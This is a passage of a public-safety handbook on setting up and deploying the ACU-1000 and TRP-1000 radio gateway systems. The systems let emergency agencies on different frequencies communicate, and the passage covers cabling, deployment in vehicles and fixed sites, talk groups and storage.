ELECTRONIC CONSOLE – RADIO SYSTEMS PATCH INTO THIS PANEL, WHICH CAN BE CONNECTED TO A COMPUTER..................................................................................................................................... 2-2 FIGURE 2-2 TRP-1000 – INCLUDES THE ACU-1000 ELECTRONIC CONSOLE IN SHOCK RESISTANT CASING WITH PRE-CONNECTED MOBILE RADIOS AND POWER SUPPLIES. ........................................................................................ 2-3 FIGURE 3-1 LAPTOP AND RADIO FREQUENCY MONITORING EQUIPMENT CONNECTED TO TRP-1000 SYSTEM. ............. 3-1 FIGURE 3-2 EXAMPLE OF ENCLOSED TRAILER USED TO STORE AND TRANSPORT THE TRP-1000. ................................. 3-3 FIGURE 3-3 EXAMPLE OF A TRP-1000 UNIT MOUNTED IN THE BACK OF A CONVERTED AMBULANCE. THE INSIDE HAS BEEN RECONFIGURED WITH COUNTERS AND CHAIRS FOR COMMUNICATIONS TECHNICIANS............................. 3-4 FIGURE 3-4 EXAMPLE OF A COMMAND POST VEHICLE. A BIGGER VEHICLE ALLOWS MORE COMMUNICATIONS EQUIPMENT TO BE CARRIED TO THE SCENE ALONGSIDE THE TRP-1000.................................................................. 3-4 FIGURE 3-5 EXAMPLE OF FIXED-SITE INSTALLATION OF TRP-1000 PACKAGE. ................................................................ 3-5 FIGURE 4-1 TWO PORTABLE GENERATORS MOUNTED ON A TRAILER PULLED BY A VAN HOUSING THE TRP-1000 UNIT............................................................................................................................................................................. 4-3 FIGURE 5-1 VIEW OF TRP-1000 MOUNTED INSIDE CHICAGO FIRE DEPARTMENT’S FIELD COMMUNICATION VAN......... 5-2 FIGURE 5-2 INSIDE VIEW OF TRP-1000 STRAPPED INTO A MODIFIED ARAPAHOE COUNTY SHERIFFS PRISONER TRANSPORT VAN......................................................................................................................................................... 5-5 ACU/TRP-1000 Handbook Page 1-1 1 INTRODUCTION TO ACU-1000/TRP-1000 HAND- BOOK 1.1 Preface This handbook is intended to provide prag- matic information and practical steps on set- up and operation of a multi-agency interop- erability communications system using the highly adaptable ACU-1000 Modular Inter- face/ Interconnect System (ACU-1000), and the TRP-1000 Transportable Radio Inter- connect System (TRP-1000). Section Two, Introduction to Multiple Agency Interoperability, provides back- ground on multiple agency interoperability communication along with basic information on the ACU/TRP-1000 Gateway Switch/ Interoperability Communications System, including a general overview of its opera- tion. Section Three, Establishing an Interopera- bility System, outlines the basic set-up and initial operating procedures of the ACU/ TRP-1000 Interoperability Communication System. Section Four, Technical and Tactical Con- siderations, presents valuable insight and experience gained through a survey of ju- risdictions that have had operational experi- ence with the ACU/TRP-1000 Interoperabil- ity Communications Systems. Section Five, Operating System Models, is provided to further assist users involved in setting up their own multi-agency interop- erability communication system. This sec- tion presents descriptions of setup and de- ployment by jurisdictions that are using the ACU/TRP-1000. These system models demonstrate the potential for achieving a high performance system. From these re- views, new users will be better prepared to set-up and operate comprehensive systems that take full advantage of the capabilities of the ACU/TRP-1000. This handbook is designed to enhance a jurisdiction’s ability to use the ACU/TRP- 1000 and to manage interoperability issues. The result will be an appreciation of how this system can deliver optimum, high per- formance results for emergency response agencies. 1.2 Grant Program Support The National Institute of Justice, a bureau in the Office of Justice Programs, conducted research into use of the JPS Communica- tions, Inc., ACU/TRP-1000 systems in con- junction with the Multiple Agency Radio In- teroperability System (MARIS), under the Advanced Generation Interoperability for Law Enforcement, (AGILE) Program. This program conducted a detailed multi-phased survey of all ACU/TRP-1000 systems shipped under the grant program. Informa- tion from this program is available online at: www.nij-agile.jhuapl.edu. 1.3 Preferred Technical Capabili- ties Individuals assigned to operate the ACU/TRP-1000 should possess, at a mini- mum, the following requirements: 1. Land mobile radio systems experi- ence. Experience should encom- pass a good understanding of differ- ent frequency bands, different types of modulation (example, AM, FM, HF APCO/digital), trunking systems. 2. An understanding of radio theory such as receiver intermodulation in- terference a plus. 3. Some basic understanding of an- tenna theory, wave propagation, feed line, RF connectors (PL-259f N/mini-UHF) is preferred. 4. Basic knowledge of all the radios that may be interfaced with the sys- tem. 5. Ability to program a variety of radios during a situation as new groups en- ter the network by referring to the ACLJ-1 000 manual. 6. Technical degree or certificate pre- ferred but not required, amateur ra- dio experience a plus. ACU/TRP-1000 Handbook Page 1-2 7. PC experience working in a Win- dows™ 95, 98, 2000, NT, Ml envi- ronment is a must. 8. Experience in using phone patches and explaining to users on the phone that the radio is not full du- plex like the telephone. 9. Ability to run a console type of communications gear and be a sys- tem operator is required. 1.4 Acknowledgements In part, this handbook draws upon informa- tion from the AGILE Program that was es- tablished in 1998. The AGILE Program, supported by multiple Interagency Agree- ments including 1999-IJ-CX-AO94 and 1000-LT-VX-A034, was awarded by the U.S. Department of Justice, Office of Justice Programs, and National Institute of Justice. Under this program, all of the interoperabil- ity projects then under way in the U.S. De- partment of Justice were combined by the National Institute of Justice. The result was establishment of a three-pronged approach that addresses both short-term and interim interoperability solutions as well as long- term interoperability solutions to be imple- mented through standardization of wireless telecommunications and information tech- nology applications. Some material presented in this handbook is taken from the National Institute of Jus- tice, AGILE MARIS Program Study. That research studied the feasibility for emer- gency service agencies to utilize communi- cations technology that was initially devel- oped for the military. That study evaluated the two interoperability electronic systems, the ACU-1000 Modular Inter-connect Sys- tem, and the TRP-1000 Trans-portable Ra- dio Interconnect System manufactured by JPS Communications, Inc. Any analysis, evaluation and review offered by this handbook does not represent prod- uct approval or endorsement by the De- partment of Justice; the National Institute of Justice, the Office for Domestic Prepared- ness, or any other agencies who may be cited within this document. The point of view and opinions contained within this handbook are those of the grant program participants. ACU/TRP-1000 Handbook Page 2-1 2 INTRODUCTION TO MULTI-AGENCY INTEROP- ERABILITY COMMUNICA- TION 2.1 Multi-Agency Interoperability Communication In its simplest terms, multi-agency interop- erability communication is the ability of two or more public safety agencies to exchange information, when and where it is needed, even when different communica- tion/information systems are involved. Multi-agency interoperability communication systems encompass the ability to exchange information among fixed facilities, mobile platforms, and portable (personal) devices. 2.1.1 Importance of Multi-Agency Communication Effective and efficient emergency response requires coordination, communication, and sharing of information among numerous public safety agencies. Thousands of inci- dents that require mutual aid and coordi- nated response happen each day. High profile incidents, such as bombings or plane crashes, test the ability of emergency service organizations to mount well- coordinated responses. In an era where technology can bring news, current events, and entertainment to the farthest reaches of the world, many law enforcement, fire- fighter, emergency medical service, and other emergency response personnel can- not communicate with each other during routine operations let alone major emergen- cies. Voice communication is not the only issue. Advances in technology have placed an in- creased dependence on the sharing of data, images, and video. As a result, interopera- bility (the ability of two or more organiza- tions to communicate and share informa- tion, be it voice, data, images, or video) has been brought to the forefront as a key issue for our nation's emergency response agen- cies. 2.1.2 The Interoperability Solution A fundamental interoperability challenge today is wireless voice communication among agencies that have different radio systems operating on various radio fre- quencies. It is intended that the AGILE pro- gram will ultimately address this issue through adoption of interoperability stan- dards. However, while those standards are being developed, other mechanisms are needed that can address the interoperability requirements. One solution is the Gateway Switch device, also called an audio matrix or cross band switch, that links different ra- dio systems. Not unlike a dispatcher's patch panel, the Gateway Switch device simply passes base band audio signals from the receiver portion of one radio to the transmitter portion of a dissimilar radio system. For example, audio from the receiver function of a Very High Frequency (VHF) transceiver can be passed to the transmitter circuitry of an Ultra High Frequency (UHF) transceiver. An advan- tage of the Gateway Switch device over the dispatcher's patch panel is that it requires no manual intervention once configured. The Gateway Switch device automatically routes voice calls from one radio system to another via control signals input by a radio user. It will also allow a connection be- tween radios and telephone or cellular phones, or vice versa. In addition, the Gateway Switch has a degree of versatility that is not available via the dispatch patch panel. The Gateway Switch device can be config- ured either as a fixed base unit or for use in a mobile platform that is transportable in a van, sports utility vehicle or command vehi- cle. In a transportable mode, the Gateway Switch device becomes a mobile repeater, allowing different radio systems to commu- nicate in a wide geographical radius around an incident. ACU/TRP-1000 Handbook Page 2-2 2.2 ACU-1000 & TRP-1000 Inter- operability Communication Systems This handbook discusses both the fixed base and mobile interoperable communica- tions systems. The ACU-1000 Modular In- terconnect System (as shown in Figure 2-1) is designed for fixed base operations. This system, manufactured by JPS Communica- tions, Inc., contains the Gateway Switch, and is capable of interconnecting diverse radio, telephone, and cellular units to allow multi-agency communication. This system has the added benefit of adding a backup capability to regular communication and dispatch systems. The TRP-1000 Transportable Radio Inter- connect System puts the Gateway Switch in a shock-resistant case for mobile transpor- tation and operation. It incorporates all the same functions as the ACU-1000 system, plus it comes standard with five UHF and five VHF radios for field use. The greatest asset of both the ACU-1000 and the TRP-1000 systems is their ability to provide communications interoperability be- tween HF, VHF low band, VHF high band, UHF, 800 MHz, 900 MHz, trunking talk- groups, and encrypted networks. 2.3 ACU-1000 Modular Intercon- nect System The ACU-1000 units are designed to inter- connect dissimilar radio systems by distrib- uting the audio or voice-band signals from selected radios or telephone connections to other specified radios or telephones con- nected via the Gateway Switch. By con- necting directly to each radio's control cir- cuitry, the ACU-1000 can detect when a ra- dio on the switch is receiving audio (to be distributed to other radios) and assert the "push-to-talk" on those radios to which the audio is to be transmitted. 2.3.1 Components of the ACU-1000 Modular Interconnect System • Interface modules, each de- signed to connect communica- tion devices such as radios and telephones • Control module • Power supply module • Local operator interface module • Chassis to accommodate the modules • Backplane to route audio and control signals between modules • Computer controlled software 2.4 TRP-1000 Transportable Ra- dio Interconnect System The TRP-1000 is a package consisting of one or more transportable cases that in- cludes multiple radios pre-wired to a Gate- way Switch. The radios, which cover all possible frequency bands or interoperations needed, can be cross-connected through the Gateway Switch. The TRP-1000 (as shown in Figure 2-2) contains multiple radios that can be quickly programmed to the (transmit and receive) frequencies of involved agencies. These radios can then be cross-connected by the built-in Gateway Switch in a variety of ways, including a mixture of 2-way and conference conversations as well as a mix of perma- nent and temporary connections to include radios, telephones, and cellular phones. 2.4.1 Components of the TRP Trans- portable Interconnect System • Self-contained • Five VHF portable radios • Five UHF portable radios Figure 2-1 ACU-1000 Electronic Console – radio systems patch into this panel, which can be connected to a computer. ACU/TRP-1000 Handbook Page 2-3 • Portable antennas • Power supplies • The ACU-1000 cross-band gateway switch • Rugged polymer transportable case 2.4.2 Potential Applications of the Interoperable Communication Systems Both the ACU-1000 and the TRP-1000 sys- tems are excellent tools for emergency agencies responding to an incident requiring coordination among multiple agencies. The ACU/TRP-1000 systems provide crossband operation between agencies as diverse as FEMA, Red Cross, the National Guard, local emergency management, law enforcement, fire departments, and emergency medical services, as well as other public service agencies that might be involved. In instances where it is needed, the ACU/TRP-1000 systems can assist in 911 call center applications. The ACU/TRP- 1000 systems can prevent overloading of the local 911 center communications circuits during a large-scale emergency by provid- ing direct radio interoperability for emer- gency personnel outside the 911 center's normal communications systems. For in- stance, the ACU/TRP-1000 systems can facilitate interoperable communication at a hazardous materials spill in which HazMat, EMS, fire, and law enforcement personnel operate on alternate cross-connected fre- quencies. The interoperability system al- lows the 911 center to return to handling normal emergency call traffic rather than serving as the network communication cen- ter for the HazMat incident. ACU/TRP-1000 systems can be set up within minutes to solve several communica- tion problems such as: • first response communications interoperability during the initial 24 to 48 hours of an emergency • supplementing or extending the reach of fixed base radio com- munications coverage • transportable communications backup with flexible system con- figuration • enhancing local, state and fed- eral interoperability during emer- gency situations and special events. Figure 2-2 TRP-1000 – Includes the ACU- 1000 Electronic Console in Shock resis- tant casing with pre-connected mobile ra- dios and power supplies. ACU/TRP-1000 Handbook Page 3-1 3 ESTABLISHING INTEROP- ERABILITY The advents of more and more multiple agency emergency response incidents have brought with them the need of multi-agency inter-communication. This dynamic compo- nent of multi-agency emergency response has become a major problem. Now, with assistance of new technology, the capability to have seamless communica- tions across the full radio spectrum is possi- ble. However, many jurisdictions are reluc- tant to establish new operational ap- proaches and implement new communica- tions methods. Based on ACU/TRP-1000 System demon- strations, the Office for Domestic Prepared- ness (ODP) funded a pilot program to place approximately 50 units in around 10 jurisdic- tions to determine the practicality of com- munications interoperability and the func- tionality of the ACU/TRP-1000 System. Every jurisdiction that received the units for testing and deployment had positive evalua- tions of the equipment. Many of the jurisdic- tions are well advanced in their plans to de- ploy the unit, and some have devised crea- tive approaches to using the equipment. A few jurisdictions have passed the formal implementation stage and have developed operating procedures that incorporate use of the system into their emergency re- sponse plans. 3.1 Set-Up and Operation Emergency response agencies provided with the ACU/TRP-1000 System reported minimal problems in setting-up the unit for use. Many agencies indicated they were able to operate the unit within minutes after unpacking the equipment. Other agencies had minor set-up issues that were quickly resolved by contacting JPS Communica- tions for technical assistance. The first out-of-the-box initial setup, pro- gramming, and installation of additional ra- dios may require a communications special- ist/technician. However, operation of the unit once assembled is easily handled by dispatchers or other communications staff. Brief training on use of the unit is generally sufficient for operating. Most users find the software easy to understand and intuitive to use. 3.1.1 Cabling The TRP-1000 comes with 10 multi-channel conventional radios pre-connected to the unit and covers a wide range of frequencies. All of these radios can be programmed to various jurisdictions' frequencies. Additional radios can be added (to cover other fre- quencies or to expand capability) of the TRP-1000 by connecting them via a cable connection to an open port on the system, or by replacing one of the radios supplied with the unit. Constructing the proper cabling to connect these additional radios to the TRP-1000 re- quires the ability to read and interpret elec- trical schematics. This is a simple but criti- cal task for a radio technician. This task involves creating a connection cable (or re- wiring an existing cable) for each radio brand or type so that it can interface with the TRP-1000 generic audio port. One ca- ble is needed for every additional brand or type of radio connected to the TRP-1000. Figure 3-1 Laptop and radio frequency moni- toring equipment connected to TRP-1000 system. ACU/TRP-1000 Handbook Page 3-2 It is recommended that new users develop a collection of pre-constructed cables to be transported with the TRP-1000 that can in- terface with radios from neighboring jurisdic- tions as well as state and federal assets. As with most emergency response issues, pre-planning to handle communications needs will speed the integration of other agencies into the system. 3.1.2 Interconnection Schematics The manufacturer of the ACU/TRP-1000 system, JPS Communications, notes that many of the schematics supplied by radio manufacturers for pin-out configurations are not correct. This can prevent proper con- nection of the radio to the TRP-1000 unit. JPS will provide schematics for any radio if the jurisdiction wishes to make their own cables, or JPS will provide pricing for pre- manufactured cables if the agency wishes to purchase them. The user should check model numbers carefully as similar looking radios and simi- lar sounding model numbers may have completely different pin-out configurations requiring separate cables. They should contact JPS with any problems in connect- ing radios to the unit. Several jurisdictions were able to quickly resolve their connection problems with one call to JPS staff, which provided fax versions of correct pin-out con- figurations. 3.1.3 Security Issues - Encryption Since the ACU/TRP-1000 systems operate on the principle of taking the analog voice signal from any radio, telephone or other electronic equipment, and re-transmitting this signal over another radio channel, it is possible to connect them to a radio operat- ing on an encrypted system, or to connect encrypted radios from separate systems together. Because there is the capability of connect- ing an encrypted radio system to a non- encrypted system, use of JPS equipment with encrypted systems should be carefully engineered to limit the system only to con- necting one encrypted system to another. JPS has recommendations for setup and operation of the system using encrypted radios to minimize the potential for inadver- tently interconnecting encrypted radios into a non-encrypted system. Users should con- tact JPS for recommendations if encryption is an issue for their jurisdiction. 3.2 Deployment Options One of the greatest strengths of the TRP- 1000 system is its nearly limitless capability to interconnect virtually any device that pro- duces an audio signal to another device. This provides an overwhelming number of configuration and deployment options that can be daunting when deciding how the unit should best be used in the field. Initially most jurisdictions use the out-of-the-box configuration to see how the system oper- ates and then experiment with various set- up options to determine how the equipment can best enhance their unique require- ments. 3.2.1 Frequencies to Install Once jurisdictions have conducted sufficient testing to assure themselves that the TRP- 1000 will actually work well in their system, the question arises regarding what agencies should be programmed into the system for "daily" use - and what radios should be added to the system to obtain the maximum benefit from the unit. As noted, the basic configuration for the TRP-1000 includes 10 multi-frequency ra- dios that can be programmed to cover sev- eral radio bands. Most jurisdictions that have 800 MHz capability have added an 800 MHz radio to the TRP-1000 (or re- placed one of the units provided) to obtain interoperability with their existing frequen- cies. Other radios can be connected to the TRP- 1000 to allow communication with virtually any agency. Jurisdictions should carefully consider all of the agencies that would re- spond at major incident scenes and pre- plan capabilities to allow interoperability, ACU/TRP-1000 Handbook Page 3-3 such as frequency lists, private line tones, and emergency contact information. 3.2.2 Connecting Portable Radios While many jurisdictions have purchased mobile radios to add to the ACU/TRP-1000 system, other agencies have chosen the option of connecting a portable radio to the ACU/TRP-1000 to accommodate other ju- risdiction's frequencies once on the scene. While the flexibility of adding the portable radios is a valuable option, if a jurisdiction plans to operate with another agency for any prolonged period, it should consider acquiring mobile radios to accommodate the frequency used by that agency. This would reduce problems with battery replacement, limited range, and operating multiple port- able radios inside a communications or command van. In addition, finding an available portable ra- dio once on the scene may be problematic. If a specific frequency cannot be pro- grammed into the multi-frequency radios supplied with the TRP-1000 unit, an older mobile unit can be quickly setup for use, negating the need for costly new units that may have minimal use. 3.3 Mobile Options - Trailer, Vehi- cle, Command Post Jurisdictions have implemented many mo- bile deployment options. The most common include mounting the TRP-1000 in an en- closed trailer, placing it in a small utility ve- hicle, or installing it in a mobile command post. All of these options address a re- quirement for maintaining the mobility of the TRP-1000, and most provide for a platform from which to operate the unit. Using a trailer to transport the TRP-1000 (as shown in Figure 3-2) is a low cost means of moving the unit from storage to event. Trailer configurations have been as simple as storing the unit in the back of an enclosed trailer with generators, a stash of radios, and the appropriate cabling. Some agencies have included a tent, folding table, and chairs in the trailer for extended opera- tions. One of the drawbacks to a trailer mounted TRP-1000 is the need for a prime mover. Deployment plans for this arrangement must ensure that the designated prime mover is not already assigned to another task during an event. With this type of in- stallation, the TRP-1000 must be configured either prior to departure, or on-site at the event. Special consideration should also be given to the fact that the unit gives off a significant amount of heat, and it may not work cor- rectly if used while still inside an enclosed trailer during a hot summer day. Use of an enclosed trailer as an operating platform should take into consideration the need for the operator of the unit to have a comfort- able working environment, either in ex- tremely hot or cold weather. The power supply should also be capable of providing supporting power to heat or air conditioning units inside the trailer. Many jurisdictions have opted to place the TRP-1000 inside a dedicated communica- tions vehicle using a van, command vehicle, or even converting a reserve ambulance as shown in Figure 3-3. Many configurations are possible with this arrangement and this can be an ideal solution if an agency has a spare vehicle to dedicate solely to TRP- 1000 deployment. Figure 3-2 Example of enclosed trailer used to store and transport the TRP-1000. ACU/TRP-1000 Handbook Page 3-4 Most of the vehicle configurations include strapping the TRP-1000 to the floor or side of the vehicle with a jump seat or bench for a technician to set-up and program the unit en-route. Some jurisdictions have designed the vehicle to supplement their command vehicle by moving their primary communica- tions component from the command vehicle to the smaller TRP-1000 communications vehicle, and connecting the two via an inter- com system. Commanders would likely benefit from mov- ing the distraction of multiple radios operat- ing simultaneously to an adjacent vehicle. One particular advantage to these designs is that they are typically airconditioned/ heated vehicles, especially an ambulance that has supplemental air conditioning. This makes operating the TRP-1000 much easier in the summer as the unit generates con- siderable heat when in operation. One jurisdiction discovered having heat in the vehicle is also important as the TRP- 1000 and radios did not put off sufficient heat to warm the van during a cold night- time deployment. Some communications technicians also indicated operating the various radios over a wide temperature range caused frequency "drift" and recom- mended keeping the vehicle at a constant temperature, or checking the radios occa- sionally for drift. They emphasized that temperature changes do not affect the TRP- 1000, but do affect the radios mounted in the unit. The third common mobile deployment op- tion involves placing the unit on a mobile command vehicle, typically a bus, motor home or large trailer as shown in Figure 3-4. Although space may be a considera- tion when deciding to implement this option, the co-location of the TRP-1000 with the other incident command resources can prove invaluable when manpower is at a premium. Since many mobile command vehicles already include communications and dispatch capabilities along with the necessary technicians and operators to run them, the TRP-1000 could easily be con- nected to and managed by these existing resources. Deployment plans for this arrangement can be restrictive, as it is necessary to deploy the entire command vehicle. There may be difficulties deploying the TRP-1000 to smaller events, or to long-term mutual aid assignments. One jurisdiction indicated that mounting the TRP-1000 in a command van would limit the ability to deploy the system off-road. However, like the previous option, this configuration allows for rapid deploy- ment and on-the-fly set-up and program- ming while enroute to an incident. Figure 3-3 Example of a TRP-1000 unit mounted in the back of a converted ambu- lance. The inside has been reconfigured with counters and chairs for communica- tions technicians. Figure 3-4 Example of a command post ve- hicle. A bigger vehicle allows more commu- nications equipment to be carried to the scene alongside the TRP-1000. ACU/TRP-1000 Handbook Page 3-5 3.3.1 Fixed-Site Operation - Com- munications Center, Backup EOC, and Dispatch Some jurisdictions have integrated the TRP- 1000 into their fixed communications and dispatch facility as shown in Figure 3-5. Others plan to use the unit as part of a backup emergency operations center. Since the TRP-1000 was designed as an interoperability solution, it does allow for the establishment of talk groups and patches between frequencies. Some agencies that dispatch by tone have worked on connecting their encoders to the unit as part of a backup dispatch package with varying degrees of success. However, since the TRP-1000 is restricted to ana- logue audio signals, it cannot facilitate com- puter-aided dispatch and other digital com- munications. Although the TRP-1000 has many applica- tions that benefit these arrangements, JPS Communications offers less expensive equipment to meet the needs of a fixed-site facility; the ACU-1000, which is essentially the internal components of the TRP-1000 without all the protective mounting and cas- ings required for mobile operation. Some jurisdictions have considered leaving the TRP-1000 in a mobile format and sta- tioning it at the backup Office of Emergency Communications (EOC) or backup dispatch center where it would be connected to a suitable antenna system and power supply ready for immediate use. This configuration leaves the option of quickly disconnecting the system for rapid deployment. Other jurisdictions are installing a power supply and antenna system at a pre- selected site to allow the installation of the TRP-1000 within minutes into a backup dis- patch/repeater site. Still other jurisdictions are planning to use an existing fire station and radio tower to mount the antennas or to locate the antenna on a rooftop location in the downtown area to provide the greatest area of coverage in a backup configuration. 3.3.2 Mutual-Aid - Manned or Un- manned Deployment Since most jurisdictions have mutual-aid agreements with neighboring jurisdictions, it makes sense to develop procedures and protocols for deploying the TRP-1000 to outside jurisdictions as needed. Some agencies have easily accomplished this by making additional units available for tempo- rary or permanent loan to neighboring juris- dictions. Other jurisdictions have opted to set-up the TRP-1000 for mobile configurations, and are working on creating plans to send the Figure 3-5 Example of fixed-site installa- tion of TRP-1000 package. ACU/TRP-1000 Handbook Page 3-6 unit to neighboring jurisdictions as needed. When considering the latter option, a juris- diction must decide if they are going to de- ploy the TRP-1000 with trained operators and technicians, or simply drop-off the unit with all necessary equipment and provide a quick training session. If operators and technicians are not included in the mutual- aid package, then personnel from receiving jurisdictions should be included in relevant training and exercises. Agreements should be made ahead of time as to which jurisdic- tions will supply the necessary personnel, radios, connection wires, generator/power supply, etc. Ideally, the trained operators and techni- cians from either jurisdiction would already have the necessary frequencies and radio information on hand, and could quickly pro- gram the unit to meet the needs of the event. Jurisdictions have mixed feelings on this issue. Some see their role as supplying the equipment and training to get the recipi- ent jurisdiction up and running, while others feel leaving the system without a trained technician would be unacceptable. 3.3.3 Set-Up and Deployment En- route Some jurisdictions have installed a mobile phone and fax capability in their TRP-1000 transport vehicles (typically in vans or com- mand vehicles) so that a communications technician can contact the other jurisdictions and agencies while en-route to the event to obtain their radio frequencies and other in- formation. In this scenario, the TRP-1000 can then be programmed with the correct frequencies and private line (PL) tones while another technician or operator is driv- ing the unit to the incident. This also gives the technicians the ability to contact JPS Communications, Inc., or the radio manu- facturers for technical information as needed. Mobile phones can also be connected to the TRP-1000 for further interoperability capa- bility. For example, mobile phone capability would let another local, state, or federal agency monitor scene communications from any location over their regular phone line, or allow the Incident Commander to speak with anyone by phone, simply by using their portable radio and having the TRP-1000 operator create the patch to the mobile phone. Deployment plans can be relatively rapid in nature, as the necessary programming can literally be done on the move. If the system can be powered by an on-board power sup- ply, direct current (DC), built in generator or similar system, the system could be opera- tional even prior to arrival on the scene. Note: Additional electronic communication equipment compatible with the ACU-1000 Gateway Switch are: telephones, Internet audio transmissions, dispatch tones, ma- rine radios, and aviation radios. Because the TRP-1000 will accommodate virtually any device that produces or trans- mits audio, the potential of adding landline phones or some mobile phones to the sys- tem exists. For example, this allows the system to connect the Incident Com- mander's (IC) radio to any telephone in the world, simply by having the TRP-1000 op- erator patch the radio to the telephone module. JPS provides phone modules for the TRP-1000 system as part of the stan- dard system. Each jurisdiction needs to evaluate the methods available to communicate with all of the agencies that may be responding to an incident and plan to acquire appropriate radios or frequency/private line information to allow for interconnection capabilities. JPS is finalizing development of their Vi- perNet system that will allow the TRP- 1000 to be connected to an Internet system, vastly increasing the number of deployment and control options. 3.3.4 Creating On-Scene Talk Groups An ideal usage of the TRP-1000 system is to allow similar units (such as HazMat ACU/TRP-1000 Handbook Page 3-7 teams) from several jurisdictions, operating on separate radio systems, to be joined into a Talk Group, thus allowing the various tac- tical frequencies on the portable radios to be joined. This allows better communica- tions on-scene, and takes radio traffic off the primary frequencies. 3.3.5 Making the IC's Job Easier Ultimately, it is the ability of the TRP-1000 system to make the IC's job easier, which is its most desirable feature. The system, properly run by a skilled operator, will allow the IC to be connected directly to any other radio channel operating at the scene or to anyone via a telephone line anywhere in the world without changing the channel on their portable (or preferably the aide's portable radio). A Unified Command Talk Group can be es- tablished to allow the heads of all of the relevant responding agencies to monitor or communicate on the command channel. Separate Tactical Talk Groups can be des- ignated for various sectors as indicated above, and the IC can reach any of these groups quickly. All that is necessary is to work out a system to alert the dispatcher to connect/disconnect the IC as requested, and to establish proto- cols for creation of tactical groups on scene. By allowing direct connection to multiple agencies and sectors, the IC can be far more productive, and get messages to the various agencies as needed. The system can aid in keeping the span of control within acceptable limits. Other responders can request a patch to the IC through the TRP-1000 operator, which is terminated upon completion of the ex- change of information, or can be left perma- nently connected. 3.4 Nomenclature Issues Any time multiple jurisdictions are operating at the scene, the potential of having more than one unit using the same designation is present. For example, more than one unit designated as Tactical Unit 1, Medic 5, etc., can have disastrous consequences. Several of the jurisdictions indicate these issues are addressed through statewide or regional agreements. However, agencies that have not addressed this potential be- yond their immediate mutual aid system must do so. This issue should be ad- dressed to assure the potential is minimized if only by requiring agency designation prior to unit number as a protocol for all mutual aid i.e., Jefferson County, Tactical Unit 1, or Medic 5. 3.5 Storage Recommendations Consideration should be given to the issue of storing the TRP-1000 to minimize the po- tential of a terrorism incident taking out pri- mary and backup communications systems at one facility. Jurisdictions with a single unit are advised not to locate the system at their main communications center, while those with multiple units should spread them out across the jurisdiction. Considera- tion should be given to using one or more units as part of a backup communications plan, and it is strongly recommended that the units be kept in their transportable con- figuration in order to take full advantage of the versatility this provides. 3.5.1 Disperse Storage to Minimize Vulnerability Since a jurisdiction's primary communica- tion center may be a target for terrorist ac- tivities, it is recommended that the TRP- 1000 not be stored in the same location. If a jurisdiction is fortunate enough to have multiple units, it is recommended that they be distributed throughout the jurisdiction, or perhaps loaned to neighboring jurisdictions. An example of well-planned dispersion of units would be to place one unit in a mobile configuration at a backup communications and dispatch facility, another in a location on the other side of the jurisdiction, and re- maining units loaned to neighboring jurisdic- tions. ACU/TRP-1000 Handbook Page 3-8 3.5.2 Stored as Pre-Deployed Backup Communications Some jurisdictions have opted to use the TRP-1000 for backup communications in the event of a failure with their primary communications system. Others have setup their TRP-1000 as a mobile backup communications system that can be de- ployed at various locations within the juris- diction that have been pre-identified as logi- cal sites. This may be especially practical when a utility or command vehicle configu- ration is used for unit transport. One of the advantages of using the TRP- 1000 as part of a backup communications package is its ability to take old radios from a variety of manufacturers, using multiple frequencies, and combine them into a single system with perhaps two or three common channels. In this way, if a jurisdiction using an 800 MHz radio system encounters a sys- tem-wide failure they could switch to older 400 MHz systems and still operate with their existing infrastructure. If the Fire Department still dispatches using audible tones or if its stations are still wired to receive those tones in addition to having been converted to a computer aided dis- patch system, the TRP-1000 could carry those tones by simply connecting an en- coder to the system. 3.5.3 Installed in Vehicles, Rack- Mounted For Optional Usages Regardless of how a jurisdiction chooses to integrate the TRP-1000 into its response plans, it is strongly recommended that the unit remain in its transportable configura- tion. In addition to the shock-resistant fea- tures of the mounting configuration, the portable rack mounting allows for multiple rapid deployment options. The system can be removed from the shock mounting system for permanent deployment in a communications center. However, "TRP" stands for "transportable.” The ACU- 1000 is the "non-transportable" version de- signed for permanent installation. Most of the agencies that have installed their units into vehicles for deployment intentionally left the units in the portable cases and secured the cases to the vehicle. This allows for rapid removal of the system for other de- ployment options and takes advantage of the shock resistance the portable cases of- fer. The TRP-1000 is designed as a mobile communications tool that can be moved to the location of an incident and setup to es- tablish interoperable communications for the scene. The unit is designed to use mobile radios (typically used in vehicles) with ge- neric omni-directional antennas positioned nearby. Depending on the size of the juris- diction, terrain issues, and antenna place- ment, it could be possible to provide inter- operability between radio systems over a larger area without additional repeaters and antennas for each frequency on the system. To illustrate the intent behind the design of the TRP-1000, consider a hypothetical ju- risdiction responsible for 50 square miles of suburban population. This jurisdiction uses 15 frequencies on an 800 MHz trunked ra- dio system that accommodates their daily operations. The Fire Department from a neighboring county is called in for mutual- aid to a large warehouse fire involving haz- ardous materials. Typically, the mutual-aid contingent using a low-band system would only be able to communicate amongst themselves at the fire scene. The TRP- 1000 would enable them to integrate seam- lessly into the response by providing access to the 800 MHz communications Talk Group using their own low-band portables and mo- bile repeaters. ACU/TRP-1000 Handbook Page 4-1 4 TECHNICAL AND TACTICAL CONSIDERATIONS 4.1 800 MHz Misconceptions Many jurisdictions are under the impression that an 800 MHz radio communication sys- tem solves interoperability problems, negat- ing the need for an additional system. 800 MHz systems can incorporate units from neighboring jurisdictions if both systems have been programmed for that capability and both are operating on the same brand of 800 MHz radios. However, they have no capability to incorporate other agencies with other brands of 800 MHz radios, or radios on other frequency ranges. 4.1.1 Limitations of 800 MHz Sys- tems at Large Scenes While 800 MHz communication systems provide significant flexibility at emergency scenes, the system must be able to handle continuing dispatch requirements and other incidents simultaneously occurring within the jurisdiction. While the portable radios have a large number of frequencies avail- able, the system usually has a limited num- ber of Talk Groups that can be created be- fore the system is overloaded. Many juris- dictions are already encountering over- loaded 800 MHz trunked systems on a regular basis. The additional requirements of a major incident will likely result in inef- fective communications within the existing system, and the inability of allowing com- munications with other "non-800 MHz" agencies. 4.1.2 Talk Groups The TRP-1000 system has the capability of creating additional Talk Groups on scene by allowing the 800 MHz portables used in a Talk-Around mode to be connected with other agencies radios. The TRP-1000 has the capability of creating several simultane- ous Talk Groups with any of the radios con- nected to it, or connecting all of the radios together simultaneously. For example, putting all hazardous materi- als teams from across the region on one talk group (regardless of different radio sys- tems) provides a tremendous benefit and will greatly enhance the potential for a posi- tive outcome. A recommended practice is to create a Unified Command Talk Group with the heads of other responding agen- cies. The agency heads can access the Unified Command from their own command posts, or they can be patched into the command channel to monitor the incident via telephone. 4.2 Antenna Configuration Op- tions There are almost as many antenna configu- ration options as there are jurisdictions. Agencies currently using the TRP-1000 in- dicate antenna placement is not a problem and that frequency interference 